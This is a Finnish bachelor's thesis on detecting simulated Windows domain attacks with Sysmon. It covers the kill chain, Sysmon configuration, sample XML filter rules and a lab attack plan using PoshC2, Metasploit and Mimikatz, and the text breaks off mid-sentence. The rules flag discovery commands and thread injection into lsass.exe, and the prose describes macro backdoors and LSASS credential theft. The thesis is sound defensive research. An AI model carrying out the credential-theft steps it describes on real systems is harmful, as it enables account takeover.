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Kohdistettujen hyokkayksien seka erilaisten hyokkayskampanjoiden maaran noustessa yritykset
ovat miettineet miten hyokkayksiin kuluvaa reagointi- ja havaitsemisaikaa voisi lyhentaa.
Opinnaytetydssa  kasiteltin - uhkien havaitsemista hyokkayksen aikana Windowsin
tapahtumalokeista |0ydetyistda poikkeamista. Tyossa keskityttin  erillisen  Sysmon-
auditointilisdosan tuottamiin tapahtumalokeihin. Ennen hydkkéysta havainnollistettiin Sysmonin
toimintaa ja sen yllapitoa.

Tyon aikana simuloidun hyokkayksen toteutuksessa hyodynnettiin  Microsoftin laatimaa
prosessikaaviota, joka pohjautuu asiantuntijoiden laatimaan tietoon tunnetuiden hyodkkaysten
kulusta. Simuloitu hyotkkays kohdistettiin virtualisoituun toimialueymparistéon, joka kuvastaa
pienen tai keskisuuren yrityksen toimintamallia. Hyokkayksesta aiheutuneita tapahtumalokeja
tarkasteltiin erillisestd lokienhallintajarjestelmastd, joka asennettiin toimialueen rinnalle
virtuaaliymparistoon.

Hyokkayksesta aiheutuneita tapahtumalokin poikkeamia analysoitiin ja tuloksia verrattiin osittain
eri tutkimuksista saatavilla oleviin tuloksiin. Hyokkaystyokalujen seka tekniikoiden osalta pyrittiin
kayttamaan tuoreita esimerkkejd, joista |0ytyi vapaasti saatavilla olevaa dokumentointia.
Havaituista poikkeamista koostettiin lopuksi Sysmonin saantotiedosto, jolla tydssa toteutetut
hyokkaykset pystytdan havaitsemaan.

Opinnaytetydn tavoitteessa parantaa hyokkaysten havainnointikykyd Sysmonin avulla
onnistuttiin, vaikka toteutetut hyokkaysesimerkit olivatkin karjistettyja, eivatka esimerkkina
toimineet menetelméat sisadltdneet kaikkia mahdollisia hyokkaystyokaluja. Jokaisesta
hyokkaysvaiheesta saatiin kerattya lokitietoja, joita voidaan hyddyntdaa uhan havaitsemisen
indikaattorina. Tavoitteen onnistumisesta huolimatta, lopputuloksilla ei kuitenkaan voida havaita
jokaista mahdollista hyokkaysta ja siksi onkin suositeltavaa laajentaa Sysmonin pohjalla toimivia
saantoja.
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DETECTING CYBER ATTACK TECHNIQUES WITH
SYSMON

As targeted attacks and the number of different attack campaigns increase, companies have
wondered how the response and detection time for these attacks could be reduced. The thesis
dealt with the detection of anomalies found from the Windows event logs during the attack. The
work focused on the event logs produced by a separate Sysmon audit add-on. The operation of
Sysmon and its maintenance were illustrated before the attack.

Process diagram of well-known attacks developed by Microsoft was utilized on the execution of
simulated attack. The simulated attack was targeted to a virtualized domain environment that
reflects a small or medium-sized business model. The event logs caused by the attack were
examined on a separate log management system installed alongside the virtualized domain
environment.

The event log anomalies caused by the attack were analyzed and the found results were partly
compared with existing online studies. Recent examples of freely available documentation of
attack tools and techniques were utilized during the simulation. The anomalies observed were
compiled in to a Sysmon rule file which detects attacks used in the simulation.

The goal of the thesis to improve detection of attacks using Sysmon was successful, even though
exemplary attacks were exaggerated, and the exemplary attack methods did not include all the
possible attack tools available. From each attack phase anomalies were found which can be used
as an indicator of attack. Despite the success of the goal, the end results cannot be used to detect
every possible attack and it is therefore advisable to expand and develop rules which Sysmon
relies on.
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LYHENTEET

Sysmon

ELK STACK
TTP

FTP

SFTP

GPO

LSASS

NTLM

TGT

System Monitor, jarjestelmé- ja prosessitason lokien keraa-
miseen tarkoitettu lisdosa.

Elastic, Logstash ja Kibana -kokonaisuus lokienhallintaan.

Techniques, tactics, and procedures. Tekniikat, taktiikat ja
menettelyt.

File Transfer Protocol. TCP-protokollaa kayttava tiedonsiirto-
menetelm& kahden tietokoneen vdlille.

SSH File Transfer Protocol. SSH-protokollaa kayttava tiedon-
siirtomenetelma.

Group Policy Object. Hallitsee toimialueen tybasemia ja pal-
velimia.

Local Security Authority Subsystem Service, Windowsin
palvelu, jonka vastuulla todentaminen on.

New Technology Local Area Network Manager. Windowsin
todennusprotokolla.

Ticket Granting Ticket. Lipun mydntava lippu, jota kaytetdaan
Kerberos-protokollassa.



1 JOHDANTO

Viime aikoina uutisotsikoihin nousseet tietomurrot ja hyokkaysyritykset ovat heréatténeet
paljon keskustelua yritysmaailmassa siitd, miten niita voitaisiin havaita paremmin ja mah-
dollisesti ehkaista. Suurimpien tietomurtojen takana ovat olleet usein kyberhyokkayksiin
erikoistuneet rikollisjarjestot, joista osa on spekuloitu olevan eri valtioiden tukemia tai
rahoittamia. Taman kaltaisia hyokkayksia kutsutaan kohdistetuiksi hyokkayksiksi. Tyy-
pillisesti hydkkayksien motiivi perustuu taloudellisen hyddyn tavoittelemiseen, mutta ny-
kyaan kyberhyokkaykset ovat osana myds nykyaikaista sodankayntia. Nykyaikaisen so-
dankaynnin motiivina ei ole suoraan hyokata, vaan tavoitteena saattaa olla esimerkiksi

tiedustelu, poliittinen vaikuttaminen tai jalansijan saaminen tarkeista kohteista.

Suojautuminen kohdistetuilta hyokkayksilta, jotka ovat tarkoin suunniteltuja, saattaa olla
hankalaa. Edistyneilla hyokkaysmenetelmilla pystytddn mahdollisesti ohittamaan yritys-
ten tiukoin maaritellyt tietoturvaprotokollat. Vuonna 2018 Symantecin (2018) teettaman
tutkimuksen mukaan suosituin hydkkaysvektori on ollut sahkoposti 71-prosenttisesti.
Sahkopostin kautta tulevilla hyokkayksilla pyritddn saamaan kayttdja mahdollisesti vie-
railemaan haitallisella sivustolla tai esimerkiksi avaamaan makroilla muokattu Office- do-
kumentti, joka jattaa takaoven kayttajan koneelle. Haitallisen sivuston kautta kalastellut
kayttajatunnukset tai koneelle asentunut takaovi mahdollistaa hydkkaajan liikkumisen
syvemmalle yrityksen jarjestelmiin. Hytkkaysvektoreita on monia, mutta sahképosti on

niista suosituin.

Suuri ongelma yrityksissa on uhkien havainnointikyky ja niihin reagoiminen. Verizonin
(2018) raportin mukaan tartunnan jalkeen noin kaksi kolmasosa uhista huomataan

vasta yli kuukauden jalkeen.

Opinnaytetyon tarkoituksena on tutkia, miten uhkien havaitsemista voisi nopeuttaa ty6-
asemien, seka palvelinten lokitiedoista l0ydetyista poikkeamista. Lokitiedot kerataan
keskitettyyn lokienhallintajarjestelmaéan, joka kay lapi lokeja sille annettujen s&éntéjen
perusteella ja halyttaa sdannon osuessa havaittuun mahdolliseen poikkeamaan. Tyon
aikana demonstroidaan erilaisia hyokkaysmenetelmia virtuaaliymparistossa, johon ky-
seinen lokienhallintajarjestelma on implementoitu. Hyokkayksien jalkeen kohteena ol-
leen tybaseman tai palvelimen lokidataa analysoidaan ja pyritaan etsimaan hyokkayk-

sista aiheutuneet poikkeamat. Loydetyista poikkeamista voidaan luoda uusia saantoja,
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jotka auttavat havaitsemaan mahdollisen hyokkayksen ja sen avulla nopeuttaa niihin

reagoimista.

Uhkien havaitsemista tutkitaan Sysinternalsin kehittamalla Sysmon-auditointilaajennuk-
sella. Windowsin natiivin auditoinnin tuottama lokidata on osittain hyvaa, jos halutaan
esimerkiksi seurata kayttajien todentamista tai tarkeiden kayttajaryhmien muutoksia toi-
mialueessa. Auditoinnista puuttuu kuitenkin tarkka prosessi- ja jarjestelmatason seu-
ranta, joka on tarkea osa hytkkayksien ja mahdollisten haittaohjelmien havaitsemiseen.

Sysmonin avulla tamankaltainen auditointi on mahdollista.

Virtuaalinen testiympaéristd, jota vastaan hyokatdan, koostuu toimialuepalvelimesta ja
tybasemista. Toimialuepalvelin on asennettu vuoden 2016 Windows-palvelimelle. Tyo-
asemilla on jo valtaosalla kaytdssa oleva Windows 10 -kayttojarjestelma. Testiymparis-
ton tarkoitus on kuvastaa pienen tai keskisuuren yrityksen mukaista ymparistta, jossa
tietokoneita ja kayttajia on hallittava toimialuepalvelimelta. Keskitetyssa lokienhallintajér-
jestelméssa kaytetdan Elasticin tarjoamaa ELK Stack -kokonaisuutta, johon on yhdistetty

erillinen palvelin lokien kerdadmista ja analysointia varten.

TURUN AMK:N OPINNAYTETYO | Aleksi Vuorinen



2 HYOKKAYKSEN KULKU

2.1 Microsoft ATA Kill Chain

Microsoftin Global Incident Response and Recovery (GIRR) -ryhma ja Enterprise Threat
Detection Service ovat luoneet havaintoihinsa perustuvan prosessikaavion kohdennetun
hyokkayksen kulusta (Kuva 1). Kaaviossa kuvataan tyypillinen hyokkayksen kulku, mu-
kaan lukien tekniikat, taktiikat ja menettelyt, eli TTP:t (techniques, tactics, and procedu-
res), joita hyokkaajat kayttavat organisaation verkkoihin ja jarjestelmiin hyokatessa. Kaa-
vio koostuu kahdesta paavaiheesta, joista ensimmainen on korkeampien kayttajatunnuk-
sien siséista tiedustelua seka levittaytymista ja toinen on lyhyemmalla aikavalilla tapah-
tuva vaihe, jossa hyokk&aja on saanut halutut korkeamman kayttévaltuuden omaavat
tunnukset haltuunsa. (Microsoft 2016.)

Asset recon

privileges Lateral
movement cycle

/—\
High

privileges Lateral
Kmovement cycle/

Local
privilege
escalation

Remote code
execution

| Months J
-

Internal
Recon

Kuva 1. Microsoft ATA Kill Chain (Microsoft 2016).

2.2 Ulkoinen tiedustelu

Ulkoisessa tiedusteluvaiheessa hyokkaaja etsii mahdollisimman paljon julkisesti saata-
villa olevaa tietoa kohteestaan. Tietoja hankitaan esimerkiksi kohteen IP-osoitealueesta,
liketoiminnasta, teknologiasta, tyontekijdista ja johtajista. TAman vaiheen tavoitteena on
haravoida riittavasti tietoa, jonka avulla saadaan nostettua kohdennetun hytkkayksen

onnistumismahdollisuuksia. Tiedustelua on kahdenlaista, aktiivista ja passiivista.
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Aktiivinen tiedustelu on hydkkays, jossa hyotkkaadja on yhteydessa kohdistettuun verk-
koon skannaamalla sen avoimia palveluita ja haavoittuvuuksia. Passiivinen tiedustelu on
pyrkimys saada tietoa kohdennetusta tietojarjestelmasta ja tyontekijoista ilman yhteyden
luomista. Tama voidaan tehda esimerkiksi keraamalla tietoa kayttajista ja teknologiasta
yhtion verkkosivuilta. Verkkosivut voivat siséltaa sahkoposteja, puhelinnumeroita tai
kayttajien sosiaalisen median tileja (Velazquez 2015). Avoimien hakukoneiden avulla
pystytaan myds hakemaan hyvin laajasti tietoa yrityksesta, tyontekijoista ja sen kaytta-

masta teknologiasta.

2.3 Tartunta

Tiedustelussa keratyilla tiedoilla paatetddn, mitd hyokkaysvektoria halutaan kayttaa.
Hydkkaysvektorina voi olla esimerkiksi koodin etdsuorittamisen mahdollistava haavoittu-
vuus julkiverkon palvelussa tai tyontekijalle Iahetetty kalasteluséhkdposti. Sdhkdposti voi
sisaltdad haitallisen liitetiedoston, joka asentaa uhrin tietokoneeseen etayhteyden mah-
dollistavan haittaohjelman.

Hyodkkadjien tiedetddn myds tartuttaneen kolmannen osapuolen sivustoja, joissa koh-
deyrityksen tydntekijoiden tiedetdén vierailevan. Esimerkiksi vuonna 2017 elokuun ja
syyskuun valisena aikana tunnetun levytilan siivoustydkalun CCleanerin latauspalveli-
men jakama asennustiedosto sisélsi haittaohjelman. CCleaner.exe-tiedoston luvaton
muokkaus johti kaksivaiheisen takaportin asentamiseen, joka mahdollisti paasyn sovel-
luksen ladanneen kayttajan jarjestelmaan (Yung 2017.) Kyseinen hydkkaysstrategia tun-

netaan nimella Watering Hole.

2.4 Siséainen tiedustelu ja leviaminen

Kun hyokkaajalla on jalansija organisaation verkossa, hén alkaa kerata tietoja, joita ei
ole ollut aiemmin saatavilla ulkopuolelta. Tahan kuuluu esimerkiksi sisaverkon ja sen
laitteiden kartoittaminen ja avoimien verkkolevyjen etsiminen. Hyokkaaja alkaa myos
kayttAmaan vapaasti saatavilla olevia, mutta erittéin tehokkaita tyokaluja, kuten Mimikat-
Zia ja Windows Credentials Editoria (WCE). TyoOkaluilla pyritdan hyvaksikayttdmaan

kayttojarjestelmén muistissa olevia kirjautumistietoja ja niiden avulla saamaan haltuun
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korkeamman oikeuden omaavia toimialueen kayttgjia. Hyokkaajan tarkoitus on levittay-
tya mahdollisimman laajalle ympéristdon, jotta tiedonkeruu helpottuu ja kiinni jaadessa

uhkaa olisi vaikea poistaa.

2.5 Hallinta ja tavoite

Hydkkaajan lopullinen tavoite on yleensa saada toimialueen yllapitajan oikeudet hal-
tuunsa, joiden avulla on mahdollista paasta kasiksi kaikista kriittisimpaan dataan. Halu-
tun datan I6ytyessa, hanen on pakattava ja pystyttava lahettamaéan se verkosta ilman,
ettd sitd havaitaan tai estetddn. Tama tapahtuu tyypillisesti salaamalla tiedot ja siirta-
malla ne kayttden esimerkiksi hyvaksyttyja FTP- tai SFTP-protokollia. Jos tavoitteena ei
ole tarkean datan ryéstaminen, niin toimialueen yllapito-oikeuksilla pystyy tekemaan kay-

tanndssa mita vain yrityksen verkossa.
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3 SYSMON

3.1 Asennus

System Monitor, eli Sysmon on Sysinternalsin kehittdma lisdosa Windowsin auditoinnille,
joka keraa lokidataa prosessi- ja jarjestelméatason toiminnasta Windowsin tapahtumalo-
kiin. Sysmon asentaa laiteohjaimen koneen HKLM\SYSTEM\CurrentControlSet\Servi-
ces-rekisteriin. Laiteohjain pysyy siis paalla keraten lokitapahtumia lapi koneen kaynnis-

tymisen ajan, vaikka kayttgja ei kirjautuisikaan sisaan (Kuva 2).

Autorun Ertry Description Publisher Image Path
ﬁ HELMSystem " Cument Control Set* Services

n=| Sysmon Sysmon: System Monitar service Sysintemals - www sysintemals.com  clwindows'sysmon exe
ﬁ HELM"\System " CumentControl Set* Services

| SysmonDrv  SysmonDry: System Monitor driver Sysintemals - www sysintemals com  c’\windows'\sysmondry sys

Kuva 2. Sysmonin services-rekisteri.

Sysmonin asennuspaketti on ladattavissa Microsoftin sivuilta Sysinternals-osiosta. La-
tauksen jalkeen asennus tapahtuu hyvin yksinkertaisella komennolla komentoriviltd, joka
on kaynnistetty administrator-oikeuksilla. Komennossa maéaritelladn myos saantoétie-
dosto, jota halutaan kayttda (Kuva 3). Isommissa toimialueissa on myés mahdollista suo-

rittaa asennus keskitetysti useammalle tydasemalle GPO:n avulla.

C:\Users\Ale\Desktop>sysmon -accepteula -i c:\users\ale\desktop\konfiguraatio.xml

h and Thomas Garnier
rnals.com

~ation file with schema version 4.20

validated.

Kuva 3. Sysmonin asennuskomento.
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3.2 Tapahtumakategoriat ja havainnointikyky

Sysmon keraa lokitapahtumia yhteensé 21 eri kategoriasta. Seuraavissa kappaleissa on

lueteltu muutamia esimerkkeja tarkeimmisté tapahtumista ja niiden havainnointikyvyista.

Process Create -tapahtumasta voidaan havaita haitallisten ohjelmien aiheuttamat alkuin-
fektiot. Process Create -tapahtumasta kay ilmi, kuka kayttaja sen on kaynnistanyt, mika
sovellus sen on kaynnistanyt ja milla komennolla se on kdynnistetty. Tapahtuma tallen-
taa myos prosessin allekirjoituksen salauksen seka MD5, ettd SHA256-muodossa. Naita
arvoja voidaan verrata jo ennalta tunnettujen prosessien arvoihin varmistaakseen pro-

sessin aitous.

Network connection -tapahtuman avulla voidaan analysoida tietokoneen verkkoliiken-
netta. Verkkoliikennetta monitoroimalla ndhdéaan mahdolliset yhteydenotot haitallisiin
osoitteisiin ja hyokkaajan likkuminen toimialueessa. Tapahtumasta kay ilmi yhteyden

luoja (prosessi ja kayttaja), seka lahde- ja kohdeosoitteet portteineen.

CreateRemoteThread-tapahtumasta havaitaan, jos prosessi injektoi koodia toiseen pro-
sessiin. Haittaohjelmat kayttavat yleensa tata tekniikkaa esimerkiksi toiminnan naamioi-
miseen alkutartunnan jalkeen. Lokitiedoista on ndhtavissa lahde- ja kohdeprosessi.

Process accessed -tapahtuma kerataan, kun prosessi kayttaa tai lukee toisen prosessin
resursseja onnistuneesti. Tapahtuman tiedot kertovat lahde- ja kohdeprosessin, seka

saadut oikeudet kohdistuneeseen prosessiin.

Registry events -tapahtumia on kolme ja ne seuraavat tietokoneen rekisteriin tehtyja
muutoksia. Tapahtumilla pystytaan esimerkiksi havaitsemaan muutokset autorun-rekis-
teripolkuun, joka maarittaa mitk& sovellukset tai palvelut kaynnistyvat tietokoneen kayn-
nistyessa. Haittaohjelmat kayttavat tata tekniikkaa esimerkiksi persistenssin takaoven

luomiseen.

Alla olevassa taulukossa on esitetty lista kaikista Sysmonin tapahtumakategorioista ja

niiden tapahtumanumeroista (Taulukko 1).
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Taulukko 1. Sysmonin tapahtumakategoriat.

Tapahtumakategoria Tapahtumanumero
Process Create 1
File creation time 2
Network connection detected 3
Sysmon service state changed 4
Process terminated 5
Driver Loaded 6
Image loaded 7
CreateRemoteThread detected 8
RawAccessRead detected 9
Process accessed 10
File created 11
Registry object added or deleted 12
Registry value set 13
Registry object renamed 14
File stream created 15
Sysmon configuration changed 16
Named pipe created 17
Named pipe connected 18
WmiEventFilter activity detected 19
WmiEventConsumer activity detected 20
WmiEventConsumerToFilter activity detected 21

3.3 Konfiguraatio

Tapahtumalokiin tallentuvia tapahtumia on mahdollista suodattaa erikseen maéaaritelta-
valla saantotiedostolla. On suotavaa harkita, tarvitseeko valvoa kaikkia tapahtumia,
koska liiallinen lokien keradaminen hidastaa analysointia ja vie ylimaaraista levytilaa.
Saantotiedoston voi maarittdd Sysmonin asennuksen yhteydessa tai jalkeenpéain. Suo-
dattamisessa pitdd myos miettia, onko esimerkiksi tietyn prosessin tapahtumien valvo-
minen tietoturvan kannalta olennaista. Kannattaako tallentaa kaikki tapahtumat, vai pel-

k&staan osa tapahtumista? Mita jad huomaamatta, jos ei tallenneta tiettyd osa-aluetta?

Saantotiedosto on XML-formaatissa, joten sita on helppo lukea ja muokata. Rakenne
muodostu Sysmonin lokikategorioista, jotka esitettiin edellisessa luvussa. Raaka Saan-
totiedosto ilman saantoja koostuu pelkéstaan include- ja exclude-osioista. Taman paalle
on tarkoitus rakentaa halutut saannoét lokien suodattamista varten. Kategorialle annetta-
essa pelkastaan exclude-arvo, tallentaa Sysmon kaikki lokitapahtumat sen osalta. Pel-

kalla include-arvolla on puolestaan vastakkainen vaikutus, eika tapahtumia tallenneta.
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HashAlgorithms-rivilla maaritelladn missd muodossa prosessien allekirjoitusten salauk-
set tallennetaan. Karjistetty esimerkki saantttiedostosta, joka tallentaa pelkastaan Pro-

cessCreate -tapahtumat (Kuva 4).

<Sysmon schemaversio

<HashAlgorithms>md5, imphash,sha256</Hashilgorithms>
<EventFiltering>

<ProcessCreate onmatch

ate

atch=

exclude" />

"ineclude"/>
"inelude"/>
="include"/>

<FileCreateTime
<NetworkConnect

<DriverLoad onmat

<Imageload onmatch="include"/>

<CreateRemoteThread onmatch="include"/>

<RawhccessRead onmatch="include"/>
</EventFiltering>

</ Sysmon>

Kuva 4. Karjistetty esimerkki saantotiedostosta.

Luodaan 5 esimerkkia raa’an saantétiedoston pohjalle:
1. Sisallyta vain tapahtumat, jossa komentorivi sisaltdad sanan "whoami”
2. Hylkaa kaikki tapahtumat, joissa aiheuttajana on F-Securen ohjelma
3. Sisallyta vain Google Chromen generoimat NetworkConnect-tapahtumat

4. Hylkaa ImagelLoad-tapahtumat, jotka ovat Microsoftin allekirjoittamia. Kaikki

muut tallennetaan

5. Siséllyta vain CreateRemoteThread-tapahtumat, joissa Targetimage on winlo-

gon.exe tai Isass.exe

Tiedostoon on lisatty kommentit helpottaakseen hahmottamista. Annetuilla ehdoilla

saantotiedosto nayttaa seuraavalta (Kuva 5).
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1 <Sysmon schemaversion="4.20">
2 <HashBRlgorithms>md5, imphash,sha256</HashRlgorithms>
3 <EventFiltering>

process creations where command line contains whoami (event id 1)-->
= <ProcessCreate h="include">
& 1. <CommandLine [name="System owner discovery"|condition="contains">whoami</CommandLine>

<!'--Log only

- </ProcessCreate
<!--Exclude events generated by F-Secure-->

) = <ProcessCreate onmat "exclude">

10 2. <ParentImage condition="is">C:\Program Files (x86)\F-Secure\SAFE\fsscan.exe</ParentImage>

11 L </ProcessCreate>
12 <!--Don't log fil
13 <FileCreateTime on

nges (event id 2)-->

<TargetImage condition="image">winlogon.exe</TargetImages>
- </CreateRemoteThread:>

7] <!'--Don't log rawaccessread (event id 9)-—->

14 <!--Log only Google ome network activity (event id 3)-->

15 = <NetworkConnect onmatch="include":>

16 3. <Image condition="contains">chrome.exe</Image>

17 - </WetworkConnect:

18 <!'—--Don't log drivers loaded (event id &)-—->

19 <DriverLoad onmatch="include"/>

2 <!'—--Log all images loaded except Microsoft-signed (event id 7)-->
21 = <Imageload onmatch="exclude":>

22 4. <Signature condition="contains">microsoft</Signature>

2 - </ImageLoad>

24 . Log 1 thread logon and lsass (event id 8)-->
25 H “LreateRemotelnread onma

26 <TargetImage condition="image">lsass.exe</TargetImage>

0 <RawhccessRead onmatch="include"/>
31 - </EventFiltering>
32 - </5Sysmon>

Kuva 5. Esimerkkisaannot.

Saanndissa arvo on jokin alue lokitapahtumasta, jolle annetaan ehto. Esimerkiksi nel-
jannessé kohdassa, jossa suodatetaan pois Microsoftin allekirjoittamat jarjestelmaku-
vat, on alueena "signature”, ehtona "contains” ja arvona "microsoft”. Ehdot ovat jokai-

sen tapahtumakategorian osalta samat (Kuva 6).

<ImageLoad jonmatch="exclude">
<Gignature jcondition- :"'/Signature>

<fImageload> X
|
\
|
|
S 2
UtcTime Is /
PricessGuid Is not /,"
Processid p Contains —
Image /fj Excludes
ImagelLoad ,-'f. Begin with
Hash ’/I End with
Signed ,'f. Less than
/
Signature ) More than
Image

Kuva 6. Sa4annodn luomisen rakenne.
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Kohdassa yksi luotiin saantd, joka tallentaa ainoastaan processcreate-tapahtumat, joi-
den komentorivi sisaltda sanan "whoami”. Tapahtumiin on mahdollista lisata omia kom-
mentteja, jotka maaritellaan saantdtiedostossa. Nama kommentit nakyvat siis tietoko-
neen tapahtumalokeissa ja ne helpottavat tapahtumien analysointia lokienhallintajarjes-
telmassa. Kommenteilla kannattaa kertoa lyhyesti ja ytimekkaasti mihin mahdolliseen
hyokkaystapaan kyseinen tapahtuma saattaa liittyd. (Rodriguez 2018) Jos komentori-
ville sydtetty "whoami”-komento ei ole kayttajan itse tai asianmukaisen sovelluksen
syottama, saattaa se olla mahdollisen hyokkaajan tapa tiedustella mité oikeuksia tartu-
tetulla kayttajalla on toimialueessa. Kommentiksi on maaritetty "System owner disco-

very” (Kuva 7).

Process Create:

RuleMame: System owner discovery |

UtcTime: 2019-04-24 13:33:30.471

ProcessGuid: {fofed31b-81de-5cc0-0000-00104a022120}
Processld: 1430

Image: C\Windows\System32\whoami.exe

FileVersion: 10.0.17134.1 (WinBuild.160101.0800)
Description: whoami - displays logged on user infermation
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

CommandLine: whoami /all |

CurrentDirectory: CAWindowsh

User: DESKTOP-UGNQVD3\Aleksi

LogonGuid: {féfe931b-3c74-5cc0-0000-00208b4d521}
Logonld: x1F524D8B

TerminalSessionld: 16

IntegrityLevel: High

Hashes: MD5=AA18BE1AD24DEOSN TCIATA5GF5C1701,5HA256=5
ParentProcessGuid; {f6fed31b-805d-5cc0-0000-0010b6651c20}
ParentProcessld: 10143

Parentimage: C:\Windows\System32hcrnd.exe
ParentCommandLine: "CAWINDOWS\system32\emd.exe”

Kuva 7. Esimerkki Sysmonin lokitapahtumasta.
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4 HYOKKAYKSEN TOTEUTUS

4.1 Testiymparisto

Testiymparistd koostuu virtualisoidusta toimialueesta, johon kuuluu Windows Server
2016 toimialuepalvelin ja Windows 10 tydasema. Virtualisointi on toteutettu Oracle Vir-
tualboxilla. Toimialuepalvelin mahdollistaa kayttdjien, seka tietokoneiden hallinnan kes-
Kitetysti isommassa ymparistossa. Palvelin kasittelee kayttajatietoja ja mahdollistaa kir-
jautumisen muille toimialueen péaatelaitteille. Testauksen helpottamiseksi hyokkaykset
suoritetaan kuvitteelliseen toimistoverkkoon sijoitetusta virtuaalikoneesta, johon on
asennettu Kali Linux. Toimialuepalvelimen ja tydaseman tapahtumalokit tuodaan ELK
STACK -kokonaisuudella toteutettuun lokienhallintajarjestelmaan. Lokienhallintajarjes-
telmén rinnalle on asennettu erillinen palvelin, jonka tarkoituksena on vastaanottaa ta-
pahtumalokit palvelimelle ja tydasemalle asennetun ohjelman avulla. Erillinen palvelin
siirtda tapahtumalokit lokienhallintajarjestelmaan, jossa tapahtumat normalisoidaan luet-
tavaan muotoon. Normalisoitujen tapahtumien tarkastelu toteutuu Kibanan selainpohjai-

sen ndkymaéan kautta (Kuva 8).

Forwarded event logs
Forwarded event logs

L Logstash -
<—A | Alerts and logs E Elasticsearch -
! -
g Kali Linux +
Userworkstation )
Active directory & DHCP Windows 10 K Kibana E

Windows Server 2016

ELK STACK
Office network

Kuva 8. Testiymparisto.

Virtualisoidun toimialueen koko ja toteutus on kérjistetty testausten helpottamiseksi,
mutta toimintaperiaatteeltaan se on lahes sama kuin pienissé tai keskisuurissa yrityk-
sissa. Todellisuudessa toimialue koostuisi useammasta tydasemasta, tiukoin méaaritel-

lyista kayttajaryhmista ja epanormaalin liikenteen estavista palomuurisaanndista. Vaikka
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opinnaytetytssa toteutetuilla hydokkaysmenetelmilla ei valttdmattd paasisi palomuurien
tai virustorjuntojen lapi, niin useamman hyokkaystyokalun aiheuttamat lokitapahtumat
jarjestelmissé eivat muutu. Tyon tarkoituksena on tarkastella tapahtumalokeista l6ytyvia
poikkeamia eika keksia uutta keinoa ohittaa palomuuri tai virustorjuntaohjelma. Loppuen
lopuksi hyokkaajat kayttavat kuitenkin lahestulkoon samoja avoimesti jaettavia tytkaluja
paastyaan yrityksen jarjestelméén. Suurin este hydkkaysten toteuttamiselle on ohittaa

tietoturvaprotokollat.

4.2 Kaytetyt hyokkaystyokalut

Virtualisoidussa hyokkaysalustassa kaytetaan Debianiin pohjautuvaa jakelupakettia Kali
Linuxia. Kali Linux on penetraatiotestaukseen tarkoitettu alusta, jossa tulee mukana noin
600 eri tydkalua. Tyokaluilla pystytdan esimerkiksi keradmaan tietoa sekd havaitsemaan
haavoittuvuuksia ja kayttamaan niita hyvaksi (Kali Linux 2019). Hyokkayksen viimeisim-
massa vaiheessa kaytetddn esiasennettua Metasploit Framework -laajennusta ja sen
PsExec-moduulilla luodaan etayhteys toimialuepalvelimeen.

Hyokkaysalustaan on asennettu erikseen Pythoniin pohjautuva PoshC2-palvelin.
PoshC2 on Nettitude Labsin kehittdma "command and control” -palvelin, jolla voidaan

luoda erilaisia tartuntalahteitd ja komentaa hallintaan saatuja koneita. (Nettitude 2019.)

Metasploit, sekéd PoshC2 ovat implementoineet tytkaluihinsa erilaisia avoimeen lahde-
koodiin perustuvia hytkkaystyokaluja, joista yksi tunnetuimmista on Mimikatz. Mimikatz
on Benjamin Delpyn kehittama hyokkaystyokalu, jonka avulla pystytaan lukemaan ja hy-
vaksikayttamaan kayttajien kirjautumistietoja Windowsin LSASS-prosessista (Local Se-
curity Authority Subsystem Service). Kun kayttdja kirjautuu tietokoneelle, tallentuvat ha-
nen tunnistetietonsa LSASS-prosessin muistiin. Muistiin tallentuneiden tunnistetietojen
avulla mahdollistetaan kayttajan kertakirjautuminen, jolloin ei tarvitse syottéa salasanaa
uudestaan esimerkiksi tiedostojakoihin tai sahkopostiin mentdessa (Adsecurity 2018).

Tartuttamisen jalkeen hyokkayksessa kaytetadn kyseista Mimikatz-tydkalua.
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4.3 Toteutetun hydkkayksen vaiheet

Hydkkayksen kulussa pyritaan jaljittelemaan Microsoft ATA Kill Chainin prosessikaavi-
oita. Ulkoinen tiedustelu on jatetty tydsta pois, koska sita ei voida havaita laitteiden pai-
kallisista tapahtumalokeista. Ulkoisen tiedustelun pystyy osittain havaitsemaan palo-
muurin lokidatan perusteella. Ensimmaisessa vaiheessa suunnitellaan takaoven avaava
haitallinen tiedosto, jolla saadaan kohdelaite haltuun. Haitallisena tiedostona kaytetaan
makroja sisaltavaa Word-dokumenttia. Kolmannessa vaiheessa tiedustellaan ymparis-
t6& Windowsin natiiveja komentoja sisaltavalla tiedusteluskriptalla. Neljannessa vai-
heessa tartutetusta laitteesta 10ytyy yllapitokayttajan tunnistetiedot, joita hyvaksikaytta-
malla voidaan luoda etayhteys toimialuepalvelimelle. Viimeisessa vaiheessa toimialue-

palvelimelle padstédesséa saadaan kaikki toimialueen kayttajat haltuun (Kuva 9).

Toimiluepalvelin 1. Hyokkaaja lahettaa haitallisen tiedoston

Hyokkaaja mEl e i N g
A l ! Em 2. Haitallinen tiedosto avaa takaoven hyokkaajalle
< 3. Sisédinen tiedustelu
2 B (1
4. Laitteelta Idytyy tunnistetiedot, joilla on paasy
toimialuepalvelimelle

5. Ympariston hallinta

Laite

Kuva 9. Toteutetun hyokkayksen vaiheet.
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5 HYOKKAYS JA LOKIEN ANALYSOINTI

5.1 Haitallinen Office-dokumentti

Lahes jokainen meista on joskus lukenut tai muokannut Microsoftin tarjoamia Office-do-
kumentteja ja ne ovat hyodyllisia meille kaikille. TAma on osa syy, miksi olemme erittain
todennakdisesti avaamassa sahkopostin liitetiedostona vastaanotetun dokumentin,
vaikka se ei olisikaan tunnetulta lahettdjalta. Hyokkaajat kuitenkin hyvaksikayttavat ih-
misten mielenkiintoa lahettamalla heille makroilla muokattuja dokumentteja, jotka ava-
tessaan suorittavat haitallisia komentoja. Yritysten tietoturvaprotokollat ovat hyvin usein
estaneet makrojen suorittamisen dokumenteissa, mutta poikkeuksia 16ytyy, missa mak-
rojen ajaminen on hyvéksytty automaattisesti dokumentin avatessa. Haitallisia makro-
dokumentteja kaytetdan edelleen laajasti, seka yksityishenkildihin kohdistuvissa massa-
hyokkayksissd, etta yrityksiin kohdennetuissa korkeamman tason hyokkayksissa. YKksi
tunnettu esimerkki on Sofacy-kampanja, jossa hytkkaajien kohteena oli eri maiden ul-
koministeriot (Hayun 2018).

PoshC2-palvelimen mukana tulee laaja valikoima erilaisia tartutusmenetelmid, jotka
mahdollistavat takaoven avaamisen kohdekayttajan koneelle. Tasséa esimerkissa kayte-
taan valmiiksi luotua makroa, jonka voi upottaa Word-, Excel -tai Powerpoint -dokument-
